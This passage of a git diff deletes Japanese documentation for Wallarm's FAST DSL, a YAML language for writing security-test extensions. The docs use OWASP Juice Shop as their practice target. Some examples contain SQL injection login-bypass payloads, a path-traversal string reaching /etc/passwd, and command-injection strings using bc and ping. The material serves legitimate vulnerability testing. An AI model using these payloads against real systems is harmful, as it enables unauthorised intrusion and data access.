レスポンスボディに、値が`admin@juice-sh.op`のユーザーメールアドレスパラメータが存在すること。パラメータはJSON形式で、次のようになります。 - - ``` - "umail":"admin@juice-sh.op" - ``` - - 上記の条件に基づいて攻撃の成否を確認する`detect`セクションを追加します。 - - ``` - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -!!! info "特殊記号のエスケープ" - 文字列中の特殊記号をエスケープすることを忘れないでください。 - -## 拡張ファイル - -これで`non-mod-extension.yaml`ファイルには、拡張が動作するために必要なセクション一式が揃いました。ファイルの内容は次のとおりです。 - -??? info "non-mod-extension.yaml" - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (non-mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - - send: - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"''or 1=1 --","password":"12345"}' - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"admin@juice-sh.op''--","password":"12345"}' - - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -## 拡張の使用 - -作成した拡張の使い方の詳細については、[このドキュメント][link-using-extension]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/extensions-examples/overview.md b/docs/latest-ja/fast/dsl/extensions-examples/overview.md deleted file mode 100644 index 2af3f96012..0000000000 --- a/docs/latest-ja/fast/dsl/extensions-examples/overview.md +++ /dev/null @@ -1,32 +0,0 @@ -[link-points]: ../points/intro.md -[link-mod-extension]: mod-extension.md -[link-non-mod-extension]: non-mod-extension.md -[link-app-examination]: app-examination.md -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project -[link-juice-shop-deploy]: https://github.com/bkimminich/juice-shop#setup -[link-juice-shop-docs]: https://pwning.owasp-juice.shop/companion-guide/latest/ -[link-using-extension]: ../using-extension.md - - -# FAST拡張機能の例：概要 - -脆弱なWebアプリケーションである[OWASP Juice Shop][link-juice-shop]を使用して、FAST拡張メカニズムの機能を示します。 - -このアプリケーションは複数の方法で[デプロイ][link-juice-shop-deploy]できます（例：Docker、Node.JS、Vagrantを使用）。 - -内在する脆弱性を一覧化したOWASP Juice Shopのドキュメントについては、次の[リンク][link-juice-shop-docs]をご覧ください。 - -!!! warning "脆弱なアプリケーションの取り扱い" - OWASP Juice Shopを実行するホストには、インターネット接続を提供したり実データ（例：ログイン/パスワードの組み合わせ）を使用したりしないことを推奨します。 - -対象アプリケーション「OWASP Juice Shop」に脆弱性がないかをテストするには、次の手順を実行します。 - -1. [Webアプリケーションを調査][link-app-examination]して、その動作に慣れます。 -2. [変更を加えるサンプル拡張機能を作成します。][link-mod-extension] -3. [変更を加えないサンプル拡張機能を作成します。][link-non-mod-extension] -4. [作成した拡張機能を使用します。][link-using-extension] - -!!! info "リクエスト要素の記述構文" - FAST拡張機能を作成する際、ポイントを使用して操作する必要があるリクエスト要素を正しく記述するため、アプリケーションに送信されるHTTPリクエストおよびアプリケーションから受信するHTTPレスポンスの構造を理解する必要があります。 - - 詳細については、この[リンク][link-points]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/intro.md b/docs/latest-ja/fast/dsl/intro.md deleted file mode 100644 index 99d7da6a5c..0000000000 --- a/docs/latest-ja/fast/dsl/intro.md +++ /dev/null @@ -1,20 +0,0 @@ -[link-yaml]: https://yaml.org/spec/1.2/spec.html -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-points]: points/intro.md - -# FAST DSLの概要 - -FASTは拡張機能を記述するためのドメイン固有言語(DSL)を提供します。これにより、特別なプログラミングスキルがなくても、アプリケーションの脆弱性を検出するためのカスタム拡張機能を作成できます。拡張機能のメカニズムにより、ベースラインリクエストの処理や対象アプリケーションにおける脆弱性の検索に、追加のカスタムロジックを適用できます。 - -FAST拡張機能は、ベースラインリクエスト内の選択したパラメータを変更するか、あらかじめ定義されたペイロードを使用することで構成されるセキュリティテストを生成できます。生成されたセキュリティテストは対象アプリケーションに送信されます。これらのテストに対するアプリケーションのレスポンスを用いて、対象アプリケーションに脆弱性が存在するかどうかを判断します(脆弱性の検出方法もFAST拡張機能で定義します)。 - -拡張機能はYAMLで記述します。YAMLの構文およびYAMLファイルの構造には習熟していることを前提としています。詳細はこの[リンク][link-yaml]をご覧ください。 - -拡張機能のロジックには、正規表現で記述される要素を含めることができます。FASTの式はRuby言語の正規表現構文のみをサポートします。Rubyの正規表現構文に習熟していることを前提としています。詳細はこの[リンク][link-ruby-regexp]をご覧ください。 - ---8<-- "../include/fast/cloud-note.md" - -!!! info "リクエスト要素の記述構文" - FAST拡張機能を作成する際には、ポイントを用いて操作する必要があるリクエスト要素を正しく記述するために、アプリケーションに送信されるHTTPリクエストの構造と、アプリケーションから受信するHTTPレスポンスの構造を理解しておく必要があります。 - - 詳細はこの[リンク][link-points]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/logic.md b/docs/latest-ja/fast/dsl/logic.md deleted file mode 100644 index 112d74a5eb..0000000000 --- a/docs/latest-ja/fast/dsl/logic.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-phases-mod-overview]: ../../images/fast/dsl/common/mod-phases.png -[img-phases-non-mod-overview]: ../../images/fast/dsl/common/non-mod-phases.png -[img-mod-workflow]: ../../images/fast/dsl/common/mod-workflow.png -[img-non-mod-workflow]: ../../images/fast/dsl/common/non-mod-workflow.png -[img-workers]: ../../images/fast/dsl/en/workers.png - -[img-incomplete-policy]: ../../images/fast/dsl/common/incomplete-policy.png -[img-incomplete-policy-remediation-1]: ../../images/fast/dsl/common/incomplete-policy-remediation-1.png -[img-incomplete-policy-remediation-2]: ../../images/fast/dsl/common/incomplete-policy-remediation-2.png -[img-wrong-baseline]: ../../images/fast/dsl/common/wrong-baseline.png - -[link-policy]: ../terms-glossary.md#test-policy -[doc-policy-in-detail]: ../operations/test-policy/overview.md - -[link-phase-collect]: phase-collect.md -[link-phase-match]: phase-match.md -[link-phase-modify]: phase-modify.md -[link-phase-generate]: phase-generate.md -[link-phase-send]: phase-send.md -[link-phase-detect]: detect/phase-detect.md - -[doc-collect-uniq]: phase-collect.md#the-uniqueness-condition -[doc-point-uri]: points/parsers/http.md#uri-filter - -[link-points]: points/intro.md - - -# 拡張のロジック - -拡張のロジックは、次の複数のフェーズで表現できます: -1. [収集][link-phase-collect] -2. [照合][link-phase-match] -3. [変更][link-phase-modify] -4. [生成][link-phase-generate] -5. [送信][link-phase-send] -6. [検出][link-phase-detect] - -これらのフェーズを組み合わせることで、FAST DSLでは2種類の拡張を記述できます: -* 1つ目は、受信したベースラインリクエストのパラメータを変更して、1つ以上のテストリクエストを作成します。 - - 本ガイドでは、この拡張を「変更型拡張」と呼びます。 - -* 2つ目は、事前定義されたテストリクエストを使用し、受信したベースラインリクエストのパラメータを変更しません。 - - 本ガイドでは、この拡張を「非変更型拡張」と呼びます。 - -各拡張タイプは異なるフェーズセットを使用します。いくつかのフェーズは必須ですが、そうでないものもあります。 - -Detectフェーズの使用は各拡張タイプで必須です。このフェーズはテストリクエストに対する対象アプリケーションのレスポンスを受け取ります。拡張はこれらのレスポンスを使用して、アプリケーションに特定の脆弱性があるかどうかを判断します。Detectフェーズの情報はWallarm cloudに送信されます。 - -!!! info "リクエスト要素の記述構文" - FASTの拡張を作成する際には、アプリケーションに送信するHTTPリクエストと、アプリケーションから受信するHTTPレスポンスの構造を理解し、ポイントを使用して作業対象となるリクエスト要素を正しく記述する必要があります。 - - 詳細については、この[リンク][link-points]をご覧ください。 - -## 変更型拡張の動作 - -変更型拡張の動作中、ベースラインリクエストは収集、照合、変更、生成の各フェーズを順に通過します。これらはすべてオプションであり、拡張に含めない場合もあります。これらのフェーズを通過した結果として、1つまたは複数のテストリクエストが形成されます。これらのリクエストを対象アプリケーションに送信して、脆弱性をチェックします。 - -!!! info "オプションフェーズを含まない拡張" - ベースラインリクエストにオプションフェーズを適用しない場合、テストリクエストはベースラインリクエストと一致します。 - -![変更型拡張のフェーズ概要][img-phases-mod-overview] - -ベースラインリクエストが定義済みのFASTの[テストポリシー][doc-policy-in-detail]を満たす場合、そのリクエストには処理が許可された1つ以上のパラメータが含まれます。変更型拡張はこれらのパラメータを順に処理します: - - 1. 各パラメータは拡張のフェーズを通過し、それに対応するテストリクエストが作成され実行されます。 - 2. ポリシーに適合するすべてのパラメータを処理し終えるまで、拡張は次のパラメータへと進みます。 - -以下の図は、いくつかのPOSTパラメータを持つPOSTリクエストの例です。 - -![変更型拡張のワークフロー概要][img-mod-workflow] - -## 非変更型拡張の動作 - -非変更型拡張の動作中、ベースラインリクエストは1つの送信フェーズのみを通過します。 - -このフェーズでは、ベースラインリクエストの`Host`ヘッダーの値から、ホスト名（IPアドレスの場合はその値）のみを取り出します。次に、事前定義されたテストリクエストをこのホストに送信します。 - -FAST nodeが同じ`Host`ヘッダー値を持つ複数のベースラインリクエストを受け取る可能性があるため、これらのリクエストは暗黙の収集フェーズを通過し、`Host`ヘッダー値が一意なリクエストのみを収集します（[「一意性の条件」][doc-collect-uniq]を参照してください）。 - -![非変更型拡張のフェーズ概要][img-phases-non-mod-overview] - -非変更型拡張が動作する際、送信フェーズで処理される各ベースラインリクエストの`Host`ヘッダーに記載されたホストへ、1つ以上の事前定義されたテストリクエストを送信します: - -![非変更型拡張のワークフロー概要][img-non-mod-workflow] - - -## 拡張によるリクエストの処理方法 - -### 複数の拡張によるリクエストの処理 - -FAST nodeで同時に使用する拡張を複数定義できます。 -受信した各ベースラインリクエストは、組み込まれているすべての拡張を通過します。 - -![ワーカーが使用する拡張][img-workers] - -任意の時点で、各拡張は単一のベースラインリクエストを処理します。FASTはベースラインリクエストの並列処理をサポートします。受信した各ベースラインリクエストは、処理を高速化するために空いているワーカーに送られます。異なるワーカーが、異なるベースラインリクエストに対して同じ拡張を同時に実行することがあります。拡張は、ベースラインリクエストに基づいてテストリクエストを作成すべきかどうかを定義します。 - -FAST nodeが並列に処理できるリクエスト数は、ワーカー数に依存します。ワーカー数は、FAST nodeのDockerコンテナ実行時に環境変数`WORKERS`に設定した値で定義します（既定値は10）。 - -!!! info "テストポリシーの詳細" - テストポリシーの詳細な説明は、この[リンク][doc-policy-in-detail]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/phase-collect.md b/docs/latest-ja/fast/dsl/phase-collect.md deleted file mode 100644 index 81067308a8..0000000000 --- a/docs/latest-ja/fast/dsl/phase-collect.md +++ /dev/null @@ -1,117 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -[img-collect-uniq]: ../../images/fast/dsl/en/phases/collect-uniq.png - -# Collectフェーズ - -!!! info "フェーズのスコープ" - このフェーズは変更を加える拡張で使用され、動作上は任意です（YAMLファイルの`collect`セクションは存在しても存在しなくてもかまいません）。 - - また、変更を加えない拡張では一意性条件を利用するため、このフェーズは暗黙的に使用されます。 - - 拡張の種類の詳細は[こちら][link-ext-logic]をご覧ください。 - -!!! info "リクエスト要素の記述構文" - FAST拡張を作成する際、ポイントを用いて操作する必要があるリクエスト要素を正しく記述するために、アプリケーションに送信されるHTTPリクエストの構造と、アプリケーションから受信するHTTPレスポンスの構造を理解しておく必要があります。 - - 詳細はこの[リンク][link-points]をご確認ください。 - -このフェーズは、指定された条件を満たすすべてのベースラインリクエストを収集します。リクエストを収集するかどうかの判断には、テスト実行中にすでに収集されたリクエストに関する情報を使用します。 - -ベースラインリクエストの収集処理はリアルタイムで行われます。各リクエストは、FASTノードがベースラインリクエストを書き出した順序で処理されます。Collectフェーズによる処理と収集のために、リクエスト書き出しプロセスの完了を待つ必要はありません。 - -## 一意性条件 - -一意性条件は、指定した基準に照らして一意でないベースラインリクエストが後続のフェーズで処理されるのを許可しません。フィルタリングされたリクエストに対してテストリクエストは生成されません。同一タイプのベースラインリクエストが多数届く場合に、対象アプリケーションの負荷を低減するのに役立ちます。 - -受信した各リクエストの一意性は、以前に受信したリクエスト内のデータに基づいて判定されます。 - -![一意性条件を伴うCollectフェーズ][img-collect-uniq] - -ベースラインリクエストの一意性を判定するために使用すべきリクエスト内の要素一覧は、一意性条件で定義します。 - -ベースラインリクエストを受信すると、Collectフェーズにある拡張は、一覧内の各リクエスト要素に対して次の処理を行います: -1. その要素がベースラインリクエストに存在しない場合、一覧の次の要素に進みます。 -2. その要素がベースラインリクエストに存在し、かつその要素のデータが一意である（言い換えると、これまでに受信したベースラインリクエストのいずれのデータとも一致しない）場合、このベースラインリクエストを一意と見なし、次のフェーズへ渡します。同時にこのリクエスト要素のデータを記録します。 -3. その要素がベースラインリクエストに存在し、かつその要素のデータが一意でない（言い換えると、以前に受信したベースラインリクエストのデータと一致する）場合、このベースラインリクエストは一意性条件を満たさないため破棄します。対象のリクエストに対して拡張は実行されません。 -4. 一覧の末尾に到達しても、一意性の判定に用いることができるリクエスト要素が見つからなかった場合、このベースラインリクエストは破棄します。このリクエストに対して拡張は実行されません。 - -拡張のYAMLファイルの`collect`セクションで、ベースラインリクエストの一意性を定義する要素を含む`uniq`リストを用いて、一意性条件を記述できます。 - -``` -collect: - - uniq: - - [request element] - - [request element 1, request element 2, …, request element N] - - testrun -``` - -一覧内のリクエスト要素には[Rubyの正規表現形式の正規表現][link-ruby-regexp]を含めることができます。 - -`uniq`による一意性条件は、ベースラインリクエストの一意性を確認するために使用するデータを含むリクエスト要素の配列で構成されます。`testrun`パラメータも使用できます。 - -一意性条件のパラメータは次のとおりです: - -* **`- [request element]`** - - リクエストが一意と見なされるためには、そのリクエスト要素内のデータが一意である必要があります。 - - ??? info "例" - `- [GET_uid_value]` — リクエストの一意性は`uid` GETパラメータのデータによって定義されます（つまり、`uid` GETパラメータの値が一意な各ベースラインリクエストに対して拡張を実行します）。 - - * `example.com/example/app.php?uid=1` は一意なリクエストです。 - * `example.com/demo/app.php?uid=1` は一意なリクエストではありません。 - * `example.com/demo/app.php?uid=` は一意なリクエストです。 - * `example.org/billing.php?uid=1` は一意なリクエストではありません。 - * `example.org/billing.php?uid=abc` は一意なリクエストです。 - -* **`- [request element 1, request element 2, …, request element N]`** - - リクエストはN個の要素の組を含み、かつ各組におけるリクエスト要素のデータが一意である場合に、一意なリクエストとして扱われます。 - - ??? info "例1" - `- [GET_uid_value, HEADER_COOKIE_value]` — リクエストの一意性は`uid` GETパラメータのデータと`Cookie` HTTPヘッダーのデータで決定されます（つまり、`uid` GETパラメータ値と`Cookie`ヘッダーの組が一意な各ベースラインリクエストに対して拡張を実行します）。 - - * `example.org/billing.php?uid=1, Cookie: client=john` は一意なリクエストです。 - * `example.org/billing.php?uid=1, Cookie: client=ann` は一意なリクエストです。 - * `example.com/billing.aspx?uid=1, Cookie: client=john` は一意なリクエストではありません。 - - ??? info "例2" - `- [PATH_0_value, PATH_1_value]` — パスの第1要素と第2要素の組でリクエストの一意性を定義します（つまり、`PATH_0`と`PATH_1`パラメータの組の値が一意な各ベースラインリクエストに対して拡張を実行します）。 - - Wallarmは要素の処理中にリクエスト要素のパースを行います。`/en-us/apps/banking/`のような形式のURIパスに対して、Pathパーサーは各パス要素をPATH配列に格納します。 - - 配列要素の値にはインデックスでアクセスできます。前述の`/en-us/apps/banking/`パスに対して、パーサーは次のデータを提供します: - - * `"PATH_0_value": "en-us"` - * `"PATH_1_value": "apps"` - * `"PATH_2_value": "banking"` - - したがって、`[PATH_0_value, PATH_1_value]`の一意性条件は、パスの第1要素と第2要素に異なる値が含まれるリクエストで満たされます。 - - * `example.com/en-us/apps/banking/charge.php` は一意なリクエストです。 - * `example.com/en-us/apps/banking/vip/charge.php` は一意なリクエストではありません。 - * `example.com/de-de/apps/banking/vip/charge.php` は一意なリクエストです。 - -* **`- testrun`** - - テストリクエストの作成に成功した場合（つまり、他のすべてのフェーズを通過した場合）、テスト実行につき1回だけ拡張が実行されます。 - - 例えば、受信したベースラインリクエストがMatchフェーズで破棄されるためにテストリクエストを生成できない場合、Collectフェーズの拡張は、いずれかのベースラインリクエストがMatchフェーズを通過し、それに基づいて対象アプリケーション向けのテストリクエストが作成されるまで、ベースラインリクエストの収集を継続します。 - - `testrun`パラメータを使用する場合、`uniq`リストでリクエスト要素を使用することはできません。`uniq`の一意性条件は単一の要素のみで構成されます。 - - ``` - collect: - - uniq: - - testrun - ``` - - `uniq`リストに複数の要素がある場合、ベースラインリクエストを一意と定義するためには、リクエストに`uniq`リストのうち少なくとも1つの一意なパラメータが含まれている必要があります。 - - - -!!! info "Collectフェーズのパラメータ" - 現時点では、Collectフェーズでサポートされるのは受信したベースラインリクエストに対する一意性条件のみです。将来的に、このフェーズの機能が拡張される可能性があります。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/phase-generate.md b/docs/latest-ja/fast/dsl/phase-generate.md deleted file mode 100644 index 019d0ffaa4..0000000000 --- a/docs/latest-ja/fast/dsl/phase-generate.md +++ /dev/null @@ -1,131 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-logic]: logic.md -[link-markers]: detect/markers.md -[link-ext-logic]: logic.md - -[img-generate-methods]: ../../images/fast/dsl/en/phases/generate-methods.png -[img-generate-payload]: ../../images/fast/dsl/en/phases/generate-payload.png - -# Generateフェーズ - -!!! info "フェーズの範囲" - このフェーズは変更を行う拡張で使用され、動作上は任意です（YAMLファイル内の`generate`セクションは存在していても存在していなくてもかまいません）。 - - このフェーズは非変更系拡張のYAMLファイルには含めないでください。 - - 拡張の種類についての詳細は[こちら][link-ext-logic]をご覧ください。 - -!!! info "リクエスト要素の記述構文" - FAST拡張を作成する際、ポイントを用いて操作対象とするリクエスト要素を正しく記述するために、アプリケーションへ送信されるHTTPリクエストの構造と、アプリケーションから受信するHTTPレスポンスの構造を理解しておく必要があります。 - - 詳細は[こちら][link-points]をご覧ください。 - -このフェーズでは、ベースラインリクエストの特定のパラメータに挿入するペイロードを指定し、このリクエストに基づくテストリクエストを作成します。 - -`generate`セクションの構造は次のとおりです: - -``` -generate: - - into: - - parameter 1 - - parameter 2 - - … - - parameter N - - method: - - postfix - - prefix - - random - - replace - - payload: - - payload 1 - - payload 2 - - … - - payload N -``` - -* `into`パラメータは、ペイロードを挿入する対象のリクエスト要素を1つまたは複数指定できます。このパラメータの値は文字列または文字列の配列です。`into`の値として[Ruby形式の正規表現][link-ruby-regexp]を使用できます。 - - このパラメータは任意で、セクション内に省略されていてもかまいません。`into`パラメータが省略された場合、与えられたテストポリシーに従い変更可能とされているリクエスト要素にペイロードが挿入されます。 - - 仮に、テストポリシーに従ってベースラインリクエストから次の変更可能なリクエスト要素が抽出されたとします: - - * `GET_uid_value` - * `HEADER_COOKIE_value` - - 拡張はこれらすべての変更可能な要素（挿入ポイントとも呼びます）を順番に処理します。 - - `into`パラメータがない場合、`GET_uid_value`パラメータにペイロードが順に挿入され、生成されたテストリクエストで対象アプリケーションの脆弱性を検査します。その後、テストリクエストの結果を処理したのち、拡張は`HEADER_COOKIE_value`パラメータを処理し、同様にこのパラメータへペイロードを挿入します。 - - 次の例のように、`into`パラメータに`GET_uid_value`というリクエストパラメータを含めた場合、ペイロードは`GET_uid_value`パラメータにのみ挿入され、`HEADER_COOKIE_value`パラメータには挿入されません。 - - ``` - into: - - 'GET_uid_value' - ``` - 次の例ではパラメータが1つだけなので、intoパラメータの値は1行で記述できます: - - `into: 'GET_uid_value'` - -* `method` — 任意のパラメータで、ベースラインのリクエスト要素にペイロードを挿入する際に用いる方法の一覧を指定します。 - * `prefix` — ベースラインのリクエスト要素の値の前にペイロードを挿入します。 - * `postfix` — ベースラインのリクエスト要素の値の後にペイロードを挿入します。 - * `random` — ベースラインのリクエスト要素の値の中のランダムな位置にペイロードを挿入します。 - * `replace` — ベースラインのリクエスト要素の値をペイロードで置き換えます。 - - ![ペイロード挿入方法][img-generate-methods] - - `method`パラメータがない場合、既定で`replace`メソッドが使用されます。 - - 作成されるテストリクエストの数は指定した`method`の数に依存します。挿入方法1つにつきテストリクエスト1件です。 - - たとえば、次の挿入方法を指定した場合: - - ``` - method: - - prefix - - replace - ``` - - このとき、ペイロードが1つならテストリクエストは2件、ペイロードが2つなら4件（各ペイロードにつき2件）というように作成されます。 - -* `payload`パラメータは、リクエストパラメータに挿入してテストリクエストを生成するためのペイロードの一覧を指定します。生成されたテストリクエストは対象アプリケーションの脆弱性を検査します。 - - このパラメータは必須で、セクション内に常に存在している必要があります。一覧には少なくとも1つのペイロードを含めてください。複数のペイロードがある場合、FASTノードはリクエストパラメータへ順にペイロードを挿入し、作成された各テストリクエストを用いて対象アプリケーションの脆弱性を検査します。 - - ![ペイロード生成][img-generate-payload] - - ペイロードは、リクエストの処理中にいずれかのパラメータへ挿入される文字列です。 - - ??? info "複数ペイロードの例" - ``` - payload: - - "') or 1=('1" - - "/%5c../%5c../%5c../%5c../%5c../%5c../%5c../etc/passwd/" - ``` - - 脆弱性検出の可能性をさらに広げるために、ペイロードの一部として特別なマーカーを使用できます: - - * **`STR_MARKER`** — `STR_MARKER`が指定されている位置にランダムな文字列をペイロードへそのまま挿入します。 - - 例として、`STR_MARKER`はアプリケーションのXXS脆弱性の確認に使用できます。 - - ??? info "例" - `'userSTR_MARKER'` - - * **`CALC_MARKER`** — `CALC_MARKER`が指定されている位置に、ランダムな算術式（例: `1234*100`）を含む文字列をペイロードへそのまま挿入します。 - - 例として、`CALC_MARKER`はアプリケーションのRCE脆弱性の確認に使用できます。 - - ??? info "例" - `'; bc <<< CALC_MARKER'` - - * **`DNS_MARKER`** — `DNS_MARKER`が指定されている位置に、ランダムなドメイン（例: `r4nd0m.wlrm.tl`）を含む文字列をペイロードへそのまま挿入します。 - - 例として、`DNS_MARKER`はDNS Out-of-Bound脆弱性の確認に使用できます。 - - ??? info "例" - `'; ping DNS_MARKER'` - - !!! info "マーカーの動作ロジック" - Detectフェーズがサーバーのレスポンス内でいずれかのペイロード由来のマーカーを検出した場合、攻撃は成功したことになり、すなわち脆弱性の悪用に成功したことを意味します。マーカーを用いたDetectフェーズの動作の詳細は[こちら][link-markers]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/phase-match.md b/docs/latest-ja/fast/dsl/phase-match.md deleted file mode 100644 index 4851e1794c..0000000000 --- a/docs/latest-ja/fast/dsl/phase-match.md +++ /dev/null @@ -1,51 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -# Matchフェーズ - -!!! info "フェーズの範囲" - このフェーズは変更を行う拡張で使用し、動作上は任意です（YAMLファイルの`match`セクションは存在してもしなくてもかまいません）。 - - このフェーズは変更を行わない拡張のYAMLファイルには含めないでください。 - - 拡張の種類の詳細は[こちら][link-ext-logic]をご覧ください。 - -!!! info "リクエスト要素の記述構文" - FAST拡張を作成する際は、ポイントを用いて操作する必要があるリクエスト要素を正しく記述できるよう、アプリケーションに送信されるHTTPリクエストおよびアプリケーションから受信するHTTPレスポンスの構造を理解する必要があります。 - - 詳細はこの[リンク][link-points]をご覧ください。 - - このフェーズは、受信したベースラインリクエストが指定された条件に一致するかどうかを確認します。 - -拡張のYAMLファイル内の`match`セクションには、``ペアの配列が含まれます。各ペアはリクエストの特定の要素（キー）と、その要素のデータ（値）を記述します。キーと値には、[Ruby正規表現形式][link-ruby-regexp]の正規表現を含めることができます。 - -Matchフェーズは、ベースラインリクエスト内で、与えられたすべての``ペアに対する一致を探します。 -* 必要なデータを伴う必要な要素（例: URLのパス値、GETパラメータ、HTTPヘッダー）がリクエストに存在するかどうかを確認します。 - - ??? info "例1" - `'GET_a_value': '^\d+$'` — 値が数字のみで構成される、名前が`a`のGETパラメータがリクエストに存在している必要があります。 - - ??? info "例2" - `'GET_b*_value': '.*'` — 名前が`b`で始まり、値は任意（空値を含む）のGETパラメータがリクエストに存在している必要があります。 - -* 指定したキーに対して値が`null`に設定されている場合は、対応する要素がリクエストに存在しないことを確認します。 - - ??? info "例" - `'GET_a': null` — `a`という名前のGETパラメータはリクエストに存在していてはいけません。 - -ベースラインリクエストがMatchフェーズを通過するには、`match`セクション内のすべての``ペアの条件を満たす必要があります。`match`セクションで記述された``ペアのうちいずれかに一致が見つからない場合、そのリクエストは破棄されます。 - -??? info "例" - 以下の`match`セクションには、``ペアの一覧が含まれています。ベースラインリクエストがMatchフェーズを通過するには、これらすべてのペアを満たす必要があります。 - - ``` - match: - - 'HEADER_HOST_value': 'example.com' - - 'GET_password_value': '^\d+$' - - 'HEADER_CONTENT-TYPE_value': null - ``` - - 1. ベースラインリクエストには、値に`example.com`が部分文字列として含まれる、`Header`という名前のHTTPヘッダーが含まれている必要があります。 - 2. GETパラメータ`password`の値は数字のみで構成されている必要があります。 - 3. `Content-Type`ヘッダーは存在していてはいけません。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/phase-modify.md b/docs/latest-ja/fast/dsl/phase-modify.md deleted file mode 100644 index 7226846a07..0000000000 --- a/docs/latest-ja/fast/dsl/phase-modify.md +++ /dev/null @@ -1,49 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -[img-modify]: ../../images/fast/dsl/common/phases/modify.png - -# Modifyフェーズ - -!!! info "フェーズの適用範囲" - このフェーズは変更を行う拡張で使用され、拡張の動作上は任意です（YAMLファイル内の`modify`セクションは存在していてもいなくてもかまいません）。 - - 変更を行わない拡張のYAMLファイルには、このフェーズを含めないでください。 - - 拡張の種類の詳細は[こちら][link-ext-logic]をご覧ください。 - -!!! info "リクエスト要素の記述構文" - FAST拡張を作成する際には、アプリケーションに送信されるHTTPリクエストとアプリケーションから受信するHTTPレスポンスの構造を理解し、ポイントを使用して操作する必要があるリクエスト要素を正しく記述する必要があります。 - - 詳細は[こちら][link-points]をご参照ください。 - - このフェーズは、必要に応じてベースラインリクエストのパラメータ値を変更します。なお、Modifyフェーズではベースラインリクエストに存在しない新しい要素を追加することはできません。例えば、ベースラインリクエストに`Cookie` HTTPヘッダーが含まれていない場合は追加できません。 - -拡張のYAMLファイル内の`modify`セクションには、``のペアからなる配列が含まれます。各ペアは特定のリクエスト要素（キー）と、その要素に挿入すべきデータ（値）を表します。キーには[Rubyの正規表現形式][link-ruby-regexp]の正規表現を含めることができます。キーの値に対して正規表現を適用することはできません。 - -Modifyフェーズでは、要素に新しい値を割り当てることも、その要素のデータを削除することもできます。 - -* キーの値が設定されている場合は、その値が対応するベースラインリクエスト要素に割り当てられます。ベースラインリクエストにキーに対応する要素が存在しない場合でも、新しい要素の挿入は行われません。 - - ??? info "例1" - `'HEADER_COOKIE_value': 'C=qwerty123'` - - ![Modifyフェーズ][img-modify] - -* キーの値が設定されていない場合は、対応するベースラインリクエスト要素の値がクリアされます。 - - ??? info "例" - `'HEADER_COOKIE_value': ""` - -??? info "例" - 次の例では、ベースラインリクエストは次のように変更されます。 - - 1. `Content-Type`ヘッダーの値が`application/xml`に置き換えられます。 - 2. `uid`のGETパラメータの値がクリアされます（パラメータ自体は削除されません）。 - - ``` - modify: - - "HEADER_CONTENT-TYPE_value": "application/xml" - - "GET_uid_value": "" - ``` \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/phase-send.md b/docs/latest-ja/fast/dsl/phase-send.md deleted file mode 100644 index 41c4521de2..0000000000 --- a/docs/latest-ja/fast/dsl/phase-send.md +++ /dev/null @@ -1,92 +0,0 @@ -[link-ext-logic]: logic.md - -# Sendフェーズ - -!!! info "フェーズの適用範囲" - このフェーズは、変更を行わない拡張が動作するために必須です（YAMLファイルには`send`セクションを含める必要があります）。 - - なお、変更を行う拡張ではこのフェーズは存在しません。というのも、Sendフェーズを他のフェーズと組み合わせると、他のフェーズ（Detectフェーズと暗黙のCollectフェーズを除く）が使用できなくなるためです。 - - 拡張の種類の詳細は[こちら][link-ext-logic]をご覧ください。 - - このフェーズは、事前定義されたテストリクエストを送信して、対象アプリケーションに脆弱性がないかをテストします。テストリクエストの送信先ホストは、受信したベースラインリクエストの`Host`ヘッダー値によって決定されます。 - -`send`セクションは次の構造です。 - -``` -send: - - method: - url: - headers: - - header 1: value - ... - - header N: value - body: - ... - - method: - ... -``` - -拡張のYAMLファイル内の`send`セクションには、1つ以上のパラメーターセットが含まれます。各パラメーターは``ペアで指定します。各パラメーターセットは、テストリクエストとして送信される1件のHTTPリクエストを記述します。セットには次のパラメーターが含まれます。 - -* `method`：リクエストで使用するHTTPメソッドです。 - - これは必須パラメーターです。すべてのパラメーターセットに含める必要があります。 - - ??? info "許可されるパラメーター値の一覧" - - * `GET` - * `POST` - * `PUT` - * `HEAD` - * `OPTIONS` - * `PATCH` - * `COPY` - * `DELETE` - * `LOCK` - * `UNLOCK` - * `MOVE` - * `TRACE` - - ??? info "例" - `method: 'POST'` - -* `url`：URL文字列です。リクエストはこのURIに送信されます。 - - これは必須パラメーターです。すべてのパラメーターセットに含める必要があります。 - - ??? info "例" - `url: '/en/login.php'` - -* `headers`：`header name: header value`形式のHTTPヘッダーを1つ以上含む配列です。 - - 作成されるHTTPリクエストでヘッダーを使用しない場合は、このパラメーターを省略できます。 - - FASTは、結果として生成されるHTTPリクエストが正しくなるために必要なヘッダーを自動的に追加します（`headers`配列に存在しない場合でも）。例えば、`Host`や`Content-Length`です。 - - ??? info "例" - ``` - headers: - - 'Accept-Language': 'en-US,en;q=0.9' - - 'Content-Type': 